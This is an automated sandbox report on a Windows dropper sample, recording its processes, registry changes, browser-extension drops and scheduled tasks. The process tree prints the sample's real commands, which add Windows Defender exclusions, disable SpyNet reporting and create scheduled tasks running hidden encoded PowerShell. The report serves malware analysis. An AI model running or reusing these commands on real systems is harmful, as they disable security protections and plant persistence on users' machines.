Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
114s -
max time network
128s -
platform
windows10-1703_x64 -
resource
win10-20231020-en -
resource tags
arch:x64arch:x86image:win10-20231020-enlocale:en-usos:windows10-1703-x64system -
submitted
03/11/2023, 00:34
Static task
static1
General
-
Target
1d8848fab3c1b40c63ff1f16c15b9bdb07c52851fd73814c3e7a491a81b1dfaa.exe
-
Size
7.2MB
-
MD5
843e10f79eb11537659c86c6dfd89287
-
SHA1
7c2e78a06669dfcd66a2f0570927f6dc25a90c1c
-
SHA256
1d8848fab3c1b40c63ff1f16c15b9bdb07c52851fd73814c3e7a491a81b1dfaa
-
SHA512
2b324f98a4dd43b6ef320673f4130f7af98c4b58c693c0b9e96ded35866015a7cf11e3fc435a0eca65c755e05abb5f7920868c2adbfb87d35285f6d2b4770f76
-
SSDEEP
196608:91ONv/mi1tAydUqHpImwO+Drjo7818pgeXJv:3ONvOiky6qHpIzfSpgeXB
Malware Config
Signatures
-
Blocklisted process makes network request 1 IoCs
flow pid Process 40 1840 rundll32.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion rundll32.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2640874492-649017405-3475600720-1000\Control Panel\International\Geo\Nation wQPjNEe.exe -
Executes dropped EXE 4 IoCs
pid Process 3560 Install.exe 4672 Install.exe 1432 FLmzpPZ.exe 776 wQPjNEe.exe -
Loads dropped DLL 1 IoCs
pid Process 1840 rundll32.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops Chrome extension 6 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\djlbpfldklgbbcndolfjibbhegnmnmho\1.0.0.0\manifest.json wQPjNEe.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\anbeheknilinnhalejpdnaobfhlokibb\1.0.0.0\manifest.json wQPjNEe.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json wQPjNEe.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json wQPjNEe.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ijelnahiojlfbmiihbmgkaldffppfelp\1.0.0.0\manifest.json wQPjNEe.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ncknaobecnibkpanffkegnkmilafnofh\1.0.0.0\manifest.json wQPjNEe.exe -
Drops desktop.ini file(s) 1 IoCs
description ioc Process File opened for modification C:\$RECYCLE.BIN\S-1-5-18\desktop.ini wQPjNEe.exe -
Drops file in System32 directory 33 IoCs
description ioc Process File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content wQPjNEe.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_E83F1CC07F729E027C8598AD1DA25FD6 wQPjNEe.exe File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol wQPjNEe.exe File created C:\Windows\system32\GroupPolicy\gpt.ini Install.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache wQPjNEe.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 wQPjNEe.exe File opened for modification C:\Windows\system32\GroupPolicy\gpt.ini FLmzpPZ.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 wQPjNEe.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8C0A4A9E1CEFEB34D84E7975A8A5D28F wQPjNEe.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE wQPjNEe.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData wQPjNEe.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_90E6705D31DA2761A44BA5F5F40B2AEC wQPjNEe.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 wQPjNEe.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA wQPjNEe.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA wQPjNEe.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_B67A81AFAE089B928194572649A22563 wQPjNEe.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft wQPjNEe.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5 wQPjNEe.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 wQPjNEe.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8C0A4A9E1CEFEB34D84E7975A8A5D28F wQPjNEe.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA wQPjNEe.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat wQPjNEe.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies wQPjNEe.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 wQPjNEe.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA wQPjNEe.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_E83F1CC07F729E027C8598AD1DA25FD6 wQPjNEe.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_90E6705D31DA2761A44BA5F5F40B2AEC wQPjNEe.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_B67A81AFAE089B928194572649A22563 wQPjNEe.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat rundll32.exe File created C:\Windows\system32\GroupPolicy\Machine\Registry.pol FLmzpPZ.exe -
Drops file in Program Files directory 14 IoCs
description ioc Process File created C:\Program Files (x86)\JbvRANfanWfIgAmCagR\UMJaQeG.dll wQPjNEe.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja.bak wQPjNEe.exe File created C:\Program Files (x86)\VrcJoNPXHbnqC\BQZuWXg.dll wQPjNEe.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi wQPjNEe.exe File created C:\Program Files\Mozilla Firefox\browser\omni.ja.bak wQPjNEe.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja wQPjNEe.exe File created C:\Program Files (x86)\rCIrZuLOqTZU2\NhTRRUwvNdlUs.dll wQPjNEe.exe File created C:\Program Files (x86)\VrcJoNPXHbnqC\hpAlJRO.xml wQPjNEe.exe File created C:\Program Files (x86)\xpXIdTsIU\hRUvdU.dll wQPjNEe.exe File created C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi wQPjNEe.exe File created C:\Program Files (x86)\JbvRANfanWfIgAmCagR\MAJhofn.xml wQPjNEe.exe File created C:\Program Files (x86)\QgOPzLpgngUn\PgGgOsX.dll wQPjNEe.exe File created C:\Program Files (x86)\xpXIdTsIU\gtaXsfu.xml wQPjNEe.exe File created C:\Program Files (x86)\rCIrZuLOqTZU2\UvprFES.xml wQPjNEe.exe -
Drops file in Windows directory 4 IoCs
description ioc Process File created C:\Windows\Tasks\SshSZtcazXqJzZOQn.job schtasks.exe File created C:\Windows\Tasks\jnIICxyJtqskLvj.job schtasks.exe File created C:\Windows\Tasks\IneAAIMTLAmAoaeHA.job schtasks.exe File created C:\Windows\Tasks\bYcGLrVzBmDTabgRKD.job schtasks.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 11 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4780 schtasks.exe 1236 schtasks.exe 1528 schtasks.exe 2936 schtasks.exe 1268 schtasks.exe 4924 schtasks.exe 3992 schtasks.exe 368 schtasks.exe 4928 schtasks.exe 2300 schtasks.exe 5100 schtasks.exe -
Enumerates system info in registry 2 TTPs 4 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS rundll32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName rundll32.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName Install.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\TelemetrySalt = "6" wQPjNEe.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" wQPjNEe.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache wQPjNEe.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" wQPjNEe.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ wQPjNEe.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" wQPjNEe.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing wQPjNEe.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{ba05db4e-0000-0000-0000-d01200000000}\MaxCapacity = "14116" wQPjNEe.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 wQPjNEe.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{ba05db4e-0000-0000-0000-d01200000000}\NukeOnDelete = "0" wQPjNEe.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket wQPjNEe.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe -
Suspicious behavior: EnumeratesProcesses 46 IoCs
pid Process 3152 powershell.EXE 3152 powershell.EXE 3152 powershell.EXE 2900 powershell.exe 2900 powershell.exe 2900 powershell.exe 4572 powershell.exe 4572 powershell.exe 4572 powershell.exe 1880 powershell.EXE 1880 powershell.EXE 1880 powershell.EXE 776 wQPjNEe.exe 776 wQPjNEe.exe 776 wQPjNEe.exe 776 wQPjNEe.exe 776 wQPjNEe.exe 776 wQPjNEe.exe 776 wQPjNEe.exe 776 wQPjNEe.exe 776 wQPjNEe.exe 776 wQPjNEe.exe 776 wQPjNEe.exe 776 wQPjNEe.exe 776 wQPjNEe.exe 776 wQPjNEe.exe 776 wQPjNEe.exe 776 wQPjNEe.exe 776 wQPjNEe.exe 776 wQPjNEe.exe 776 wQPjNEe.exe 776 wQPjNEe.exe 776 wQPjNEe.exe 776 wQPjNEe.exe 776 wQPjNEe.exe 776 wQPjNEe.exe 776 wQPjNEe.exe 776 wQPjNEe.exe 776 wQPjNEe.exe 776 wQPjNEe.exe 776 wQPjNEe.exe 776 wQPjNEe.exe 776 wQPjNEe.exe 776 wQPjNEe.exe 776 wQPjNEe.exe 776 wQPjNEe.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 3152 powershell.EXE Token: SeDebugPrivilege 2900 powershell.exe Token: SeDebugPrivilege 4572 powershell.exe Token: SeDebugPrivilege 1880 powershell.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3764 wrote to memory of 3560 3764 1d8848fab3c1b40c63ff1f16c15b9bdb07c52851fd73814c3e7a491a81b1dfaa.exe 70 PID 3764 wrote to memory of 3560 3764 1d8848fab3c1b40c63ff1f16c15b9bdb07c52851fd73814c3e7a491a81b1dfaa.exe 70 PID 3764 wrote to memory of 3560 3764 1d8848fab3c1b40c63ff1f16c15b9bdb07c52851fd73814c3e7a491a81b1dfaa.exe 70 PID 3560 wrote to memory of 4672 3560 Install.exe 71 PID 3560 wrote to memory of 4672 3560 Install.exe 71 PID 3560 wrote to memory of 4672 3560 Install.exe 71 PID 4672 wrote to memory of 2428 4672 Install.exe 73 PID 4672 wrote to memory of 2428 4672 Install.exe 73 PID 4672 wrote to memory of 2428 4672 Install.exe 73 PID 4672 wrote to memory of 3016 4672 Install.exe 75 PID 4672 wrote to memory of 3016 4672 Install.exe 75 PID 4672 wrote to memory of 3016 4672 Install.exe 75 PID 2428 wrote to memory of 1160 2428 forfiles.exe 77 PID 2428 wrote to memory of 1160 2428 forfiles.exe 77 PID 2428 wrote to memory of 1160 2428 forfiles.exe 77 PID 3016 wrote to memory of 4484 3016 forfiles.exe 78 PID 3016 wrote to memory of 4484 3016 forfiles.exe 78 PID 3016 wrote to memory of 4484 3016 forfiles.exe 78 PID 1160 wrote to memory of 4944 1160 cmd.exe 79 PID 4484 wrote to memory of 3452 4484 cmd.exe 80 PID 4484 wrote to memory of 3452 4484 cmd.exe 80 PID 4484 wrote to memory of 3452 4484 cmd.exe 80 PID 1160 wrote to memory of 4944 1160 cmd.exe 79 PID 1160 wrote to memory of 4944 1160 cmd.exe 79 PID 1160 wrote to memory of 4208 1160 cmd.exe 81 PID 1160 wrote to memory of 4208 1160 cmd.exe 81 PID 1160 wrote to memory of 4208 1160 cmd.exe 81 PID 4484 wrote to memory of 4180 4484 cmd.exe 82 PID 4484 wrote to memory of 4180 4484 cmd.exe 82 PID 4484 wrote to memory of 4180 4484 cmd.exe 82 PID 4672 wrote to memory of 1268 4672 Install.exe 83 PID 4672 wrote to memory of 1268 4672 Install.exe 83 PID 4672 wrote to memory of 1268 4672 Install.exe 83 PID 4672 wrote to memory of 5000 4672 Install.exe 85 PID 4672 wrote to memory of 5000 4672 Install.exe 85 PID 4672 wrote to memory of 5000 4672 Install.exe 85 PID 3152 wrote to memory of 3996 3152 powershell.EXE 89 PID 3152 wrote to memory of 3996 3152 powershell.EXE 89 PID 4672 wrote to memory of 3796 4672 Install.exe 94 PID 4672 wrote to memory of 3796 4672 Install.exe 94 PID 4672 wrote to memory of 3796 4672 Install.exe 94 PID 4672 wrote to memory of 4924 4672 Install.exe 96 PID 4672 wrote to memory of 4924 4672 Install.exe 96 PID 4672 wrote to memory of 4924 4672 Install.exe 96 PID 1432 wrote to memory of 2900 1432 FLmzpPZ.exe 99 PID 1432 wrote to memory of 2900 1432 FLmzpPZ.exe 99 PID 1432 wrote to memory of 2900 1432 FLmzpPZ.exe 99 PID 2900 wrote to memory of 1092 2900 powershell.exe 101 PID 2900 wrote to memory of 1092 2900 powershell.exe 101 PID 2900 wrote to memory of 1092 2900 powershell.exe 101 PID 1092 wrote to memory of 1756 1092 cmd.exe 102 PID 1092 wrote to memory of 1756 1092 cmd.exe 102 PID 1092 wrote to memory of 1756 1092 cmd.exe 102 PID 2900 wrote to memory of 2924 2900 powershell.exe 103 PID 2900 wrote to memory of 2924 2900 powershell.exe 103 PID 2900 wrote to memory of 2924 2900 powershell.exe 103 PID 2900 wrote to memory of 752 2900 powershell.exe 104 PID 2900 wrote to memory of 752 2900 powershell.exe 104 PID 2900 wrote to memory of 752 2900 powershell.exe 104 PID 2900 wrote to memory of 704 2900 powershell.exe 105 PID 2900 wrote to memory of 704 2900 powershell.exe 105 PID 2900 wrote to memory of 704 2900 powershell.exe 105 PID 2900 wrote to memory of 364 2900 powershell.exe 106 PID 2900 wrote to memory of 364 2900 powershell.exe 106
Processes
-
C:\Users\Admin\AppData\Local\Temp\1d8848fab3c1b40c63ff1f16c15b9bdb07c52851fd73814c3e7a491a81b1dfaa.exe"C:\Users\Admin\AppData\Local\Temp\1d8848fab3c1b40c63ff1f16c15b9bdb07c52851fd73814c3e7a491a81b1dfaa.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3764 -
C:\Users\Admin\AppData\Local\Temp\7zS2E9.tmp\Install.exe.\Install.exe2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3560 -
C:\Users\Admin\AppData\Local\Temp\7zS5A8.tmp\Install.exe.\Install.exe /PPCdiddiYt "525403" /S3⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Drops file in System32 directory
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:4672 -
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"4⤵
- Suspicious use of WriteProcessMemory
PID:2428 -
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&5⤵
- Suspicious use of WriteProcessMemory
PID:1160 -
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:326⤵PID:4944
-
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:646⤵PID:4208
-
-
-
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"4⤵
- Suspicious use of WriteProcessMemory
PID:3016 -
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&5⤵
- Suspicious use of WriteProcessMemory
PID:4484 -
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:326⤵PID:3452
-
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:646⤵PID:4180
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gTALYMTyP" /SC once /ST 00:27:46 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="4⤵
- Creates scheduled task(s)
PID:1268
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gTALYMTyP"4⤵PID:5000
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gTALYMTyP"4⤵PID:3796
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bYcGLrVzBmDTabgRKD" /SC once /ST 00:36:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\MzeqAYTaEVrEnsbBu\THOAMDSqgDpavdW\FLmzpPZ.exe\" Kj /aXsite_idfwh 525403 /S" /V1 /F4⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:4924
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3152 -
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force2⤵PID:3996
-
-
